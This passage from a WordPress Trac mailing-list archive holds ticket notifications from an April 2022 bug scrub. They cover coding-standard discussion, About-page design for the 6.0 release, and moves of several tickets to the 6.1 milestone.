Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Comment (by costdev): > there are examples in that linked docs standard to single-line docblock comments, so maybe I will undo my change that turned them into multi-line statements. that is, unless some tool is simply unaware of the guideline and naively replaces all single-line comments it sees into //. can you confirm if it's happening automatically or will it be okay if I move back from multi-line to single-line? - I'm not seeing any instance of a single line `/** @var ... */` comment in the docs standards. Translator comments are a different context, as are the docblocks for requires/includes. - The change from `/** @var ... */` to `//` is not automatic. - You can change the line back to `/** @var ... */` format without a tool converting it to something else. Thanks for taking a closer look at the plugin results! > I'll play around some with it. I'd ideally like to avoid solutions we know are adding unnecessary overhead just for the looks of the code (such as dynamically building the array or calling a function to get the value). I want this code to be lean since it's a fundamental-level operation, but at the same time we're not parsing these numbers frequently and hopefully this is never representative of the hot path, so some tradeoff in performance for readability is probably fine. Per my previous comment, I suggest that we don't sacrifice performance due to disagreement with a rule in the coding standard, and instead either meet the coding standard, or ignore the rule if consensus moves in that direction. However, IMO, all patches should meet the coding standard, and if exceptions are to be made, they should be made about a near-final patch. Otherwise we'd have a significant increase in the number of `phpcs:ignore` comments in Core. As this ticket still has a number of steps to go through, including looking at two different proposed solutions, I think we should focus on these first. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 19:46:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 19:46:44 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.03fcee1e3d7ad2642d4cd59a5cda9cb1@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Changes (by fcoveram): * Attachment "About 6.0 i1.png" added. About 6.0 page i1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 19:50:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 19:50:17 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.8377c52baea4d057a5945a8bdf4a9628@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by fcoveram): Hi all! I have been designing the images to show the features and the page based on this document (content up to April 28th, 11:30 GTM-4) and this guide (https://make.wordpress.org/design/handbook/workflows/wordpress- core-about-page/) shared by @estelaris. Here you can see a prototype version (https://www.figma.com/proto/ZizhN0ztdgGYYuatX2w85s/About-Page-6.0 ?page-id=681%3A3763&node-id=751%3A11397&viewport=328%2C48%2C1&scaling=min- zoom&starting-point-node-id=740%3A12400), and below the mockup and some comments related to the whole design. All images are static images except the one in “Switch up styles!” where I tried a GIF displaying the style variations of the Twenty Twenty Two theme. Open the prototype to see it live. [[Image(About 6.0 i1.png)]] == Content order The content document has the “More design tools” section between the Integrated patterns and the List view descriptions. I am not aware of why this decision, but once the descriptions are reinforced with images, it sounds more logical moving this section to the end of the feature descriptions. Let me know what you think of this shift. == Content length There are two features with bullet content, “Let your writing flow” and “Different templates for different things”. At first glance, it looks clear to describe the characteristics per point, but once on the page, it is difficult to handle it since the text lengths tend to vary and the sentences look irregular. In the case of “Let your writing flow,” I tried different layouts, and a section made of two columns is the cleanest way to balance the empty space between the paragraph, image, and bullets. Nonetheless, I would prefer to describe the feature in multiple paragraphs since the page follows a section-per-feature logic. For the “Different templates for different things” section, I added one thumbnail image per point showing the tool, but you can notice that the third one does not have the full text by the text length reason mentioned above. I hope you like this proposal. Please let me know your thoughts -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 20:32:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 20:32:56 -0000 Subject: [wp-trac] [WordPress Trac] #54839: Image upload after dirty filter requires filter change before it cab be inserted to page In-Reply-To: <056.fa259785a8d08505a8f32c700ff8f8c7@wordpress.org> References: <056.fa259785a8d08505a8f32c700ff8f8c7@wordpress.org> Message-ID: <071.ba787739d92bea6991094e5629da1ec2@wordpress.org> #54839: Image upload after dirty filter requires filter change before it cab be inserted to page --------------------------+--------------------- Reporter: utkarshpatel | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 5.0 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+--------------------- Changes (by costdev): * version: => 5.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54839#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 20:33:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 20:33:14 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.f15df8d2b79209c6307788c4871aa369@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by dansoschin): The original intent on ordering the features listed was to start with the content-creating/writing "stuff" and then move into layout and controls. I loosely attempted to group them together by area of focus... but it is all related... there is no recipe here set in stone, so I think this is an agreeable approach. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:06:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:06:50 -0000 Subject: [wp-trac] [WordPress Trac] #54488: wp_filter_nohtml_kses does not remove HTML comments In-Reply-To: <055.86d10df1ed789330c2bd8878cf6acacf@wordpress.org> References: <055.86d10df1ed789330c2bd8878cf6acacf@wordpress.org> Message-ID: <070.0671ffc17935be30543cbad0bd2c37c7@wordpress.org> #54488: wp_filter_nohtml_kses does not remove HTML comments ----------------------------------------+----------------------- Reporter: leewillis77 | Owner: audrasjb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.1 Component: Formatting | Version: 2.1 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests | Focuses: docs ----------------------------------------+----------------------- Changes (by costdev): * keywords: has-patch => has-patch needs-unit-tests * milestone: 6.0 => 6.1 Comment: After discussing this ticket in the bug scrub, I'm moving this to the 6.1 milestone and adding the `needs-unit-tests` keyword. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54488#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:10:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:10:35 -0000 Subject: [wp-trac] [WordPress Trac] #54839: Image upload after dirty filter requires filter change before it can be inserted to page (was: Image upload after dirty filter requires filter change before it cab be inserted to page) In-Reply-To: <056.fa259785a8d08505a8f32c700ff8f8c7@wordpress.org> References: <056.fa259785a8d08505a8f32c700ff8f8c7@wordpress.org> Message-ID: <071.c5ff4d72dba8939c78c947c8818a28df@wordpress.org> #54839: Image upload after dirty filter requires filter change before it can be inserted to page ------------------------------------------+--------------------- Reporter: utkarshpatel | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch has-testing-info | Focuses: ------------------------------------------+--------------------- Changes (by costdev): * keywords: => needs-patch has-testing-info * milestone: 6.0 => 6.1 Comment: After the discussion in the bug scrub, I'm moving this ticket to the 6.1 milestone, adding the `needs-patch` and `has-testing-info` keywords, and correcting a minor typo in the ticket title. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54839#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:15:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:15:43 -0000 Subject: [wp-trac] [WordPress Trac] #54997: PHP8.1 throw 'deprecated' in WordPress 6.0-alpha-52650 In-Reply-To: <049.50a5f9e9197dba2c0e5dadf58f94e5c8@wordpress.org> References: <049.50a5f9e9197dba2c0e5dadf58f94e5c8@wordpress.org> Message-ID: <064.604d4dbe9bc4a6c64355ed3d16b397a2@wordpress.org> #54997: PHP8.1 throw 'deprecated' in WordPress 6.0-alpha-52650 -----------------------------+--------------------- Reporter: haozi | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: General | Version: trunk Severity: normal | Resolution: Keywords: has-patch php81 | Focuses: -----------------------------+--------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: As the solution to deprecation notices is still needed, I'm moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54997#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:22:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:22:13 -0000 Subject: [wp-trac] [WordPress Trac] #51439: Docs: Undocumented @global instances In-Reply-To: <053.b38a0502d1f1ca7eaa3cff5ca3fdca7e@wordpress.org> References: <053.b38a0502d1f1ca7eaa3cff5ca3fdca7e@wordpress.org> Message-ID: <068.50724ad9decb6edb8d446ab50076e428@wordpress.org> #51439: Docs: Undocumented @global instances --------------------------+------------------------------------- Reporter: ravipatel | Owner: (none) Type: defect (bug) | Status: new Priority: low | Milestone: 6.1 Component: General | Version: 4.2 Severity: normal | Resolution: Keywords: has-patch | Focuses: docs, coding-standards --------------------------+------------------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: Per the discussion in the bug scrub, I'm moving this ticket to the 6.1 milestone for now. If a committer finds that this patch is ready for `commit`, feel free to pull it back into the 6.0 milestone for inclusion in the release. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51439#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:24:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:24:30 -0000 Subject: [wp-trac] [WordPress Trac] #54695: CI: always use `--no-interaction` flag for Composer commands In-Reply-To: <047.a4e5b1e46c7642870e497b7107b1e637@wordpress.org> References: <047.a4e5b1e46c7642870e497b7107b1e637@wordpress.org> Message-ID: <062.f527802c6e1e9618ef4844f8721c6c07@wordpress.org> #54695: CI: always use `--no-interaction` flag for Composer commands ------------------------------+----------------------- Reporter: jrf | Owner: (none) Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.1 Component: Build/Test Tools | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------+----------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: Per the discussion in the bug scrub, I'm moving this ticket to the 6.1 milestone. @jrf Does [https://github.com/WordPress/wordpress-develop/pull/2084 PR 2084] implement all of [https://core.trac.wordpress.org/ticket/54695#comment:6 the action steps], or does it need more work? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54695#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:30:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:30:22 -0000 Subject: [wp-trac] [WordPress Trac] #54677: Default widgets with alternative option name causing unnecessary database queries In-Reply-To: <050.68e7fa533bb0512ca40a8eed5c4e0289@wordpress.org> References: <050.68e7fa533bb0512ca40a8eed5c4e0289@wordpress.org> Message-ID: <065.305fb2ec56f9bee613a921e127e3909c@wordpress.org> #54677: Default widgets with alternative option name causing unnecessary database queries -------------------------------------+-------------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Widgets | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: performance -------------------------------------+-------------------------- Changes (by costdev): * keywords: has-patch => has-patch needs-testing Comment: Per the discussion in the bug scrub, I'm adding the `needs-testing` keyword in hopes that this might be tested ahead of RC1 on Tuesday. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54677#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:37:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:37:06 -0000 Subject: [wp-trac] [WordPress Trac] #54695: CI: always use `--no-interaction` flag for Composer commands In-Reply-To: <047.a4e5b1e46c7642870e497b7107b1e637@wordpress.org> References: <047.a4e5b1e46c7642870e497b7107b1e637@wordpress.org> Message-ID: <062.261b268ae62e94a862852ea839e25e11@wordpress.org> #54695: CI: always use `--no-interaction` flag for Composer commands ------------------------------+----------------------- Reporter: jrf | Owner: (none) Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.1 Component: Build/Test Tools | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------+----------------------- Comment (by costdev): From Juliette's comment on Slack: - The current PR does the opposite of what would now be needed. - I haven't kept an eye on whether the predefined GH Actions action runners have been updated in the workflows used by WP recent months or not. - If so: the commit should be checked if the update of the action runner for `setup-php` also removed the `--no-interaction` CLI args for Composer commands. - If not, that should probably be addressed as part of the ticket which updated the action runner and this ticket should be closed. - If the action runners have not been updated for a while, now would be a good time. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54695#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:37:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:37:48 -0000 Subject: [wp-trac] [WordPress Trac] #54827: Elemtentor, pagina In-Reply-To: <058.bbbc2583512d95260325cab3b1e90ce4@wordpress.org> References: <058.bbbc2583512d95260325cab3b1e90ce4@wordpress.org> Message-ID: <073.00ba01cc09976ae6c7bb2ab0267b8576@wordpress.org> #54827: Elemtentor, pagina ---------------------------------------------+--------------------- Reporter: flashprice2020 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Formatting | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: ---------------------------------------------+--------------------- Changes (by costdev): * keywords: has-patch reporter-feedback has-unit-tests => has-patch has- unit-tests commit Comment: Per the discussion in the bug scrub, I'm adding the `commit` keyword for commit consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54827#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:43:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:43:01 -0000 Subject: [wp-trac] [WordPress Trac] #55204: Error in upload mp3 file with wrong ID3 tags In-Reply-To: <052.0f5b811636ed6092a7cbe86769ab2e8a@wordpress.org> References: <052.0f5b811636ed6092a7cbe86769ab2e8a@wordpress.org> Message-ID: <067.c2d194d4e5769d171cc2f5d01df5442b@wordpress.org> #55204: Error in upload mp3 file with wrong ID3 tags -----------------------------------+----------------------------- Reporter: mjkhajeh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch php8 commit | Focuses: administration -----------------------------------+----------------------------- Changes (by costdev): * keywords: has-patch php8 => has-patch php8 commit Comment: Per the discussion in the bug scrub, I'm adding the `commit` keyword for commit consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55204#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:46:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:46:36 -0000 Subject: [wp-trac] [WordPress Trac] #54516: Full site editing/REST-API: modify permission checks to use post type. In-Reply-To: <057.a7083e42ff68380a8d49925db3fd3362@wordpress.org> References: <057.a7083e42ff68380a8d49925db3fd3362@wordpress.org> Message-ID: <072.97e20e4e3f86c8f27b9582397ee31553@wordpress.org> #54516: Full site editing/REST-API: modify permission checks to use post type. ----------------------------+--------------------------- Reporter: peterwilsoncc | Owner: spacedmonkey Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.1 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: rest-api ----------------------------+--------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: Per the discussion in the bug scrub, I'm moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54516#comment:38> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:48:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:48:36 -0000 Subject: [wp-trac] [WordPress Trac] #55257: map_deep() function incompatibility with incomplete objects in PHP 8.0+ In-Reply-To: <051.b532a9e5801b9736d644eef83c48757f@wordpress.org> References: <051.b532a9e5801b9736d644eef83c48757f@wordpress.org> Message-ID: <066.9893d399539aa6db1455289051a46805@wordpress.org> #55257: map_deep() function incompatibility with incomplete objects in PHP 8.0+ ----------------------------+--------------------- Reporter: codex-m | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Formatting | Version: 5.9.1 Severity: major | Resolution: Keywords: has-patch php8 | Focuses: ----------------------------+--------------------- Changes (by costdev): * Attachment "55257.map_deep_check_incomplete_objects.2.diff" added. Patch refresh with WPCS fixes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55257> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:48:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:48:56 -0000 Subject: [wp-trac] [WordPress Trac] #55257: map_deep() function incompatibility with incomplete objects in PHP 8.0+ In-Reply-To: <051.b532a9e5801b9736d644eef83c48757f@wordpress.org> References: <051.b532a9e5801b9736d644eef83c48757f@wordpress.org> Message-ID: <066.39ba843694382cd25ca9f1dcf53815b9@wordpress.org> #55257: map_deep() function incompatibility with incomplete objects in PHP 8.0+ ----------------------------+--------------------- Reporter: codex-m | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Formatting | Version: 5.9.1 Severity: major | Resolution: Keywords: has-patch php8 | Focuses: ----------------------------+--------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: Per the discussion in the bug scrub, I'm moving this ticket to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55257#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:53:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:53:15 -0000 Subject: [wp-trac] [WordPress Trac] #53010: Tests: introduce namespacing for the test classes In-Reply-To: <047.d5d3b65b3ad41914c1603c5422892100@wordpress.org> References: <047.d5d3b65b3ad41914c1603c5422892100@wordpress.org> Message-ID: <062.3a02efce578bc899a9cd1b26fd92ce8f@wordpress.org> #53010: Tests: introduce namespacing for the test classes ------------------------------+------------------------------------- Reporter: jrf | Owner: hellofromTonya Type: task (blessed) | Status: assigned Priority: normal | Milestone: Future Release Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: docs, coding-standards ------------------------------+------------------------------------- Changes (by costdev): * milestone: 6.0 => Future Release Comment: Per the discussion in the bug scrub, I'm moving this ticket to _Future Release_. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53010#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:54:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:54:55 -0000 Subject: [wp-trac] [WordPress Trac] #53687: `grunt verify:old-files` incorrectly flagging certain files In-Reply-To: <051.4eb8381241c381e60e958073bccb9364@wordpress.org> References: <051.4eb8381241c381e60e958073bccb9364@wordpress.org> Message-ID: <066.0e62deb7bddbd9b703771c01bf752393@wordpress.org> #53687: `grunt verify:old-files` incorrectly flagging certain files -------------------------------------------------+------------------------- Reporter: desrosj | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: Future | Release Component: Build/Test Tools | Version: 5.7 Severity: normal | Resolution: Keywords: needs-testing needs-patch needs- | Focuses: refresh | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: needs-testing needs-patch => needs-testing needs-patch needs- refresh * milestone: 6.0 => Future Release Comment: Per the discussion in the bug scrub, I'm moving this ticket to _Future Release_. The patch also needs a refresh, so adding the `needs-refresh` keyword too. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53687#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:56:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:56:59 -0000 Subject: [wp-trac] [WordPress Trac] #54827: Elemtentor, pagina In-Reply-To: <058.bbbc2583512d95260325cab3b1e90ce4@wordpress.org> References: <058.bbbc2583512d95260325cab3b1e90ce4@wordpress.org> Message-ID: <073.48f30671ba20cd56503b4da8cffde1a6@wordpress.org> #54827: Elemtentor, pagina ---------------------------------------------------+--------------------- Reporter: flashprice2020 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Formatting | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit php80 | Focuses: ---------------------------------------------------+--------------------- Changes (by jrf): * keywords: has-patch has-unit-tests commit => has-patch has-unit-tests commit php80 Comment: More than anything, this needs a backtrace of what is causing the error and fixing in the actual problem code, not here. I'm not strongly opposed to adding the extra defensive code in the function, but it would ''hide'' an error which in all truth should be fixed elsewhere. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54827#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 21:58:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 21:58:08 -0000 Subject: [wp-trac] [WordPress Trac] #55290: Not all image edits are applied to all subsizes In-Reply-To: <050.be681f53cfaf80199513d03ac9b6588a@wordpress.org> References: <050.be681f53cfaf80199513d03ac9b6588a@wordpress.org> Message-ID: <065.2b996675a9f3aaa788a37e6414ebf1af@wordpress.org> #55290: Not all image edits are applied to all subsizes --------------------------------+------------------------------------------ Reporter: mitogh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Media | Version: 5.9.1 Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: administration, performance testing | --------------------------------+------------------------------------------ Changes (by costdev): * keywords: has-patch => has-patch needs-testing * milestone: 6.0 => 6.1 Comment: Per the discussion in the bug scrub, this still `needs-testing`, `needs- unit-tests` and a review to ensure no BC breaks are introduced. Moving to the 6.1 milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55290#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 22:00:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 22:00:13 -0000 Subject: [wp-trac] [WordPress Trac] #49364: dbDelta() should not change display width for integer data types on MySQL 8.0.17+ In-Reply-To: <058.57d558b174285895243858ce4a230956@wordpress.org> References: <058.57d558b174285895243858ce4a230956@wordpress.org> Message-ID: <073.e97f82e976dab7fd3668ec71cf700fcc@wordpress.org> #49364: dbDelta() should not change display width for integer data types on MySQL 8.0.17+ -------------------------------------------------+------------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Database | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh needs- | Focuses: testing early | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch => has-patch needs-refresh needs-testing early * milestone: 6.0 => 6.1 Comment: Per the discussion in the bug scrub, I'm moving this to the 6.1 milestone and adding the `early` keyword. There are merge conflicts on the PRs and this needs more testing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/49364#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 22:01:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 22:01:45 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.9cbd55df838242761010ff568bbf690d@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by fcoveram): Replying to [comment:24 dansoschin]: > The original intent on ordering the features listed was to start with the content-creating/writing "stuff" and then move into layout and controls. I loosely attempted to group them together by area of focus... but it is all related... there is no recipe here set in stone, so I think this is an agreeable approach. That makes sense. I tend to think that all tools are for designing, and since the bullet list points to different functionalities, I displayed them with related icons. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 22:01:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 22:01:51 -0000 Subject: [wp-trac] [WordPress Trac] #54028: Fix improper use of the hooks API In-Reply-To: <050.a5b774ca0bae1254e082498489808619@wordpress.org> References: <050.a5b774ca0bae1254e082498489808619@wordpress.org> Message-ID: <065.c485442351b43852f12718596236a4eb@wordpress.org> #54028: Fix improper use of the hooks API --------------------------+----------------------------- Reporter: azaozz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: General | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: docs --------------------------+----------------------------- Changes (by costdev): * milestone: 6.0 => Future Release Comment: Per the discussion in the bug scrub, I'm moving this ticket to _Future Release_ as this still needs architectural decisions before it can proceed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54028#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 22:02:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 22:02:23 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.6981a8e4a28425f7408d33723783bfdf@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` --------------------------------------------------+----------------------- Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Comment (by SergeyBiryukov): Replying to [comment:16 antonvlasenko]: > In my pull request, I was more focused on hooks that definitely wouldn't work on the front end (because callback functions weren't available for them). That was my understanding too, thanks for confirming! Just noting that there are still a few `admin_*` hooks left in `default- filters.php`, but those seem to be closely related to other non-admin filters, so I think it's fine to leave them as is for now for better context. In [53304], I was only focused on those that don't have any close ties and are a better fit for `admin-filters.php`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 22:45:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 22:45:44 -0000 Subject: [wp-trac] [WordPress Trac] #55626: Full Site Editing - Typography : Active font size bug In-Reply-To: <057.a178ad798fa8117361b755556c1a23b7@wordpress.org> References: <057.a178ad798fa8117361b755556c1a23b7@wordpress.org> Message-ID: <072.19e744b52c8dd115b70569b237425bcb@wordpress.org> #55626: Full Site Editing - Typography : Active font size bug ---------------------------+------------------------------------- Reporter: igorradovanov | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9 Severity: trivial | Resolution: reported-upstream Keywords: | Focuses: ui, accessibility, css ---------------------------+------------------------------------- Changes (by costdev): * status: new => closed * version: trunk => 5.9 * resolution: => reported-upstream * milestone: Awaiting Review => Comment: Hi @igorradovanov, thanks for opening this ticket! I was able to reproduce this. I have opened [https://github.com/WordPress/gutenberg/issues/40708 an issue on the Gutenberg repository]. Let's continue the 